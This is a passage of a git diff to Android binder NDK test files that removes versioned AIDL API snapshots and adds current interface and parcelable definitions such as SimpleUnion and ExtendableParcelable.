-  double[] RepeatDoubleArray(in double[] input, out double[] repeated);
-  test_package.ByteEnum[] RepeatByteEnumArray(in test_package.ByteEnum[] input, out test_package.ByteEnum[] repeated);
-  test_package.IntEnum[] RepeatIntEnumArray(in test_package.IntEnum[] input, out test_package.IntEnum[] repeated);
-  test_package.LongEnum[] RepeatLongEnumArray(in test_package.LongEnum[] input, out test_package.LongEnum[] repeated);
-  String[] RepeatStringArray(in String[] input, out String[] repeated);
-  test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
-  ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
-  List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
-  List<test_package.RegularPolygon> Repeat2RegularPolygonList(in List<test_package.RegularPolygon> input, out List<test_package.RegularPolygon> repeated);
-  @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
-  @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
-  @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
-  @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
-  @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
-  @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
-  @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
-  @nullable test_package.ByteEnum[] RepeatNullableByteEnumArray(in @nullable test_package.ByteEnum[] input);
-  @nullable test_package.IntEnum[] RepeatNullableIntEnumArray(in @nullable test_package.IntEnum[] input);
-  @nullable test_package.LongEnum[] RepeatNullableLongEnumArray(in @nullable test_package.LongEnum[] input);
-  @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
-  @nullable String[] DoubleRepeatNullableStringArray(in @nullable String[] input, out @nullable String[] repeated);
-  test_package.Foo repeatFoo(in test_package.Foo inFoo);
-  void renameFoo(inout test_package.Foo foo, String name);
-  void renameBar(inout test_package.Foo foo, String name);
-  int getF(in test_package.Foo foo);
-  String RepeatStringNullableLater(String repeated);
-  test_package.GenericBar<int> repeatGenericBar(in test_package.GenericBar<int> bar);
-  const int kZero = 0;
-  const int kOne = 1;
-  const int kOnes = -1;
-  const String kEmpty = "";
-  const String kFoo = "foo";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl
deleted file mode 100644
index 15b9891..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package test_package;
-
-@Backing(type="int")
-enum IntEnum {
-    FOO = 1000,
-    BAR = 2000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl
deleted file mode 100644
index f21ea63..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package test_package;
-
-@Backing(type="long")
-enum LongEnum {
-    FOO = 100000000000,
-    BAR = 200000000000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl
deleted file mode 100644
index 14c6c2e..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl
+++ /dev/null
@@ -1,6 +0,0 @@
-package test_package;
-parcelable RegularPolygon {
-  String name = "square";
-  int numSides = 4;
-  float sideLength = 1.000000f;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/.hash b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/.hash
deleted file mode 100644
index 4fdd55a..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/.hash
+++ /dev/null
@@ -1 +0,0 @@
-96616e99811d923b5445a71562eeeb53ce2ba3be
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Bar.aidl
deleted file mode 100644
index bf4c4fc..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Bar.aidl
+++ /dev/null
@@ -1,8 +0,0 @@
-package test_package;
-parcelable Bar {
-  String a = "BAR";
-  String b = "BAR2";
-  float c = 4.200000f;
-  int d = 100;
-  String e = "HELLO";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ByteEnum.aidl
deleted file mode 100644
index 6884107..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ByteEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package test_package;
-
-@Backing(type="byte")
-enum ByteEnum {
-    FOO = 1,
-    BAR = 2,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Foo.aidl
deleted file mode 100644
index d4afa64..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Foo.aidl
+++ /dev/null
@@ -1,16 +0,0 @@
-package test_package;
-parcelable Foo {
-  String a = "FOO";
-  int b = 42;
-  float c = 3.140000f;
-  test_package.Bar d;
-  test_package.Bar e;
-  int f = 3;
-  test_package.ByteEnum shouldBeByteBar;
-  test_package.IntEnum shouldBeIntBar;
-  test_package.LongEnum shouldBeLongBar;
-  test_package.ByteEnum[] shouldContainTwoByteFoos;
-  test_package.IntEnum[] shouldContainTwoIntFoos;
-  test_package.LongEnum[] shouldContainTwoLongFoos;
-  @nullable String[] g;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/GenericBar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/GenericBar.aidl
deleted file mode 100644
index 694a1da..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/GenericBar.aidl
+++ /dev/null
@@ -1,22 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericBar<T> {
-  int a;
-  test_package.GenericFoo<int,test_package.Bar,test_package.IntEnum> shouldBeGenericFoo;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/GenericFoo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/GenericFoo.aidl
deleted file mode 100644
index 929b6e5..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/GenericFoo.aidl
+++ /dev/null
@@ -1,22 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericFoo<T, U, V> {
-  int a;
-  int b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IEmpty.aidl
deleted file mode 100644
index 2baa52c..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IEmpty.aidl
+++ /dev/null
@@ -1,3 +0,0 @@
-package test_package;
-interface IEmpty {
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
deleted file mode 100644
index f257fa5..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
+++ /dev/null
@@ -1,71 +0,0 @@
-package test_package;
-interface ITest {
-  String GetName();
-  void TestVoidReturn();
-  oneway void TestOneway();
-  int GiveMeMyCallingPid();
-  int GiveMeMyCallingUid();
-  oneway void CacheCallingInfoFromOneway();
-  int GiveMeMyCallingPidFromOneway();
-  int GiveMeMyCallingUidFromOneway();
-  int RepeatInt(int value);
-  long RepeatLong(long value);
-  float RepeatFloat(float value);
-  double RepeatDouble(double value);
-  boolean RepeatBoolean(boolean value);
-  char RepeatChar(char value);
-  byte RepeatByte(byte value);
-  test_package.ByteEnum RepeatByteEnum(test_package.ByteEnum value);
-  test_package.IntEnum RepeatIntEnum(test_package.IntEnum value);
-  test_package.LongEnum RepeatLongEnum(test_package.LongEnum value);
-  IBinder RepeatBinder(IBinder value);
-  @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
-  test_package.IEmpty RepeatInterface(test_package.IEmpty value);
-  @nullable test_package.IEmpty RepeatNullableInterface(@nullable test_package.IEmpty value);
-  ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
-  @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
-  String RepeatString(String value);
-  @nullable String RepeatNullableString(@nullable String value);
-  test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
-  @nullable test_package.RegularPolygon RepeatNullablePolygon(in @nullable test_package.RegularPolygon value);
-  void RenamePolygon(inout test_package.RegularPolygon value, String newName);
-  boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
-  byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
-  char[] RepeatCharArray(in char[] input, out char[] repeated);
-  int[] RepeatIntArray(in int[] input, out int[] repeated);
-  long[] RepeatLongArray(in long[] input, out long[] repeated);
-  float[] RepeatFloatArray(in float[] input, out float[] repeated);
-  double[] RepeatDoubleArray(in double[] input, out double[] repeated);
-  test_package.ByteEnum[] RepeatByteEnumArray(in test_package.ByteEnum[] input, out test_package.ByteEnum[] repeated);
-  test_package.IntEnum[] RepeatIntEnumArray(in test_package.IntEnum[] input, out test_package.IntEnum[] repeated);
-  test_package.LongEnum[] RepeatLongEnumArray(in test_package.LongEnum[] input, out test_package.LongEnum[] repeated);
-  String[] RepeatStringArray(in String[] input, out String[] repeated);
-  test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
-  ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
-  List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
-  List<test_package.RegularPolygon> Repeat2RegularPolygonList(in List<test_package.RegularPolygon> input, out List<test_package.RegularPolygon> repeated);
-  @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
-  @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
-  @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
-  @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
-  @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
-  @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
-  @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
-  @nullable test_package.ByteEnum[] RepeatNullableByteEnumArray(in @nullable test_package.ByteEnum[] input);
-  @nullable test_package.IntEnum[] RepeatNullableIntEnumArray(in @nullable test_package.IntEnum[] input);
-  @nullable test_package.LongEnum[] RepeatNullableLongEnumArray(in @nullable test_package.LongEnum[] input);
-  @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
-  @nullable String[] DoubleRepeatNullableStringArray(in @nullable String[] input, out @nullable String[] repeated);
-  test_package.Foo repeatFoo(in test_package.Foo inFoo);
-  void renameFoo(inout test_package.Foo foo, String name);
-  void renameBar(inout test_package.Foo foo, String name);
-  int getF(in test_package.Foo foo);
-  @nullable String RepeatStringNullableLater(@nullable String repeated);
-  test_package.GenericBar<int> repeatGenericBar(in test_package.GenericBar<int> bar);
-  int NewMethodThatReturns10();
-  const int kZero = 0;
-  const int kOne = 1;
-  const int kOnes = -1;
-  const String kEmpty = "";
-  const String kFoo = "foo";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IntEnum.aidl
deleted file mode 100644
index 15b9891..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IntEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package test_package;
-
-@Backing(type="int")
-enum IntEnum {
-    FOO = 1000,
-    BAR = 2000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/LongEnum.aidl
deleted file mode 100644
index f21ea63..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/LongEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package test_package;
-
-@Backing(type="long")
-enum LongEnum {
-    FOO = 100000000000,
-    BAR = 200000000000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/RegularPolygon.aidl
deleted file mode 100644
index 14c6c2e..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/RegularPolygon.aidl
+++ /dev/null
@@ -1,6 +0,0 @@
-package test_package;
-parcelable RegularPolygon {
-  String name = "square";
-  int numSides = 4;
-  float sideLength = 1.000000f;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ExtendableParcelable.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ExtendableParcelable.aidl
new file mode 100644
index 0000000..6646ba0
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ExtendableParcelable.aidl
@@ -0,0 +1,25 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+parcelable ExtendableParcelable {
+  int a;
+  @nullable @utf8InCpp String b;
+  ParcelableHolder ext;
+  long c;
+  ParcelableHolder ext2;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
index 8b71fee..ddb6e8b 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
@@ -30,4 +30,17 @@
   test_package.IntEnum[] shouldContainTwoIntFoos;
   test_package.LongEnum[] shouldContainTwoLongFoos;
   @nullable String[] g;
+  @nullable test_package.SimpleUnion u;
+  int shouldSetBit0AndBit2;
+  @nullable test_package.SimpleUnion shouldBeConstS1;
+  const int kZero = 0;
+  const int kOne = 1;
+  const int kOnes = -1;
+  const byte kByteOne = 1;
+  const long kLongOnes = -1;
+  const String kEmpty = "";
+  const String kFoo = "foo";
+  const int BIT0 = 1;
+  const int BIT1 = 2;
+  const int BIT2 = 4;
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl
index 1be4dbe..7cd58e7 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl
@@ -77,12 +77,16 @@
   void renameFoo(inout test_package.Foo foo, String name);
   void renameBar(inout test_package.Foo foo, String name);
   int getF(in test_package.Foo foo);
-  @nullable String RepeatStringNullableLater(@nullable String repeated);
   test_package.GenericBar<int> repeatGenericBar(in test_package.GenericBar<int> bar);
-  int NewMethodThatReturns10();
+  void RepeatExtendableParcelable(in test_package.ExtendableParcelable input, out test_package.ExtendableParcelable output);
+  test_package.SimpleUnion RepeatSimpleUnion(in test_package.SimpleUnion u);
+  IBinder getICompatTest();
+  void RepeatExtendableParcelableWithoutExtension(in test_package.ExtendableParcelable input, out test_package.ExtendableParcelable output);
   const int kZero = 0;
   const int kOne = 1;
   const int kOnes = -1;
+  const byte kByteOne = 1;
+  const long kLongOnes = -1;
   const String kEmpty = "";
   const String kFoo = "foo";
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/MyExt.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/MyExt.aidl
new file mode 100644
index 0000000..3525284
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/MyExt.aidl
@@ -0,0 +1,22 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+parcelable MyExt {
+  int a;
+  @utf8InCpp String b;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl
new file mode 100644
index 0000000..e7fc95c
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl
@@ -0,0 +1,34 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+union SimpleUnion {
+  int a = 42;
+  int[] b;
+  String c;
+  test_package.ByteEnum d;
+  test_package.ByteEnum[] e;
+  @nullable test_package.Bar f;
+  const int kZero = 0;
+  const int kOne = 1;
+  const int kOnes = -1;
+  const byte kByteOne = 1;
+  const long kLongOnes = -1;
+  const String kEmpty = "";
+  const String kFoo = "foo";
+  const String S1 = "a string constant";
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/.hash b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/.hash
deleted file mode 100644
index 56f551b..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/.hash
+++ /dev/null
@@ -1 +0,0 @@
-d1f6d67f8af3bf736ae93d872660b0c800dd14d9
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/Bar.aidl
deleted file mode 100644
index 6a5d253..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/Bar.aidl
+++ /dev/null
@@ -1,7 +0,0 @@
-package test_package;
-parcelable Bar {
-  String a = "BAR";
-  String b = "BAR2";
-  float c = 4.200000f;
-  int d = 100;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/ByteEnum.aidl
deleted file mode 100644
index 6884107..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/ByteEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package test_package;
-
-@Backing(type="byte")
-enum ByteEnum {
-    FOO = 1,
-    BAR = 2,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/Foo.aidl
deleted file mode 100644
index 86af9b6..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/Foo.aidl
+++ /dev/null
@@ -1,15 +0,0 @@
-package test_package;
-parcelable Foo {
-  String a = "FOO";
-  int b = 42;
-  float c = 3.140000f;
-  test_package.Bar d;
-  test_package.Bar e;
-  int f = 3;
-  test_package.ByteEnum shouldBeByteBar;
-  test_package.IntEnum shouldBeIntBar;
-  test_package.LongEnum shouldBeLongBar;
-  test_package.ByteEnum[] shouldContainTwoByteFoos;
-  test_package.IntEnum[] shouldContainTwoIntFoos;
-  test_package.LongEnum[] shouldContainTwoLongFoos;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/GenericBar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/GenericBar.aidl
deleted file mode 100644
index 694a1da..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface_dup/1/test_package/GenericBar.aidl
+++ /dev/null
@@ -1,22 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericBar<T> {
-  int a;
-  test_package.GenericFoo<int,test_package.Bar,test_package.IntEnum> shouldBeGenericFoo;
-}
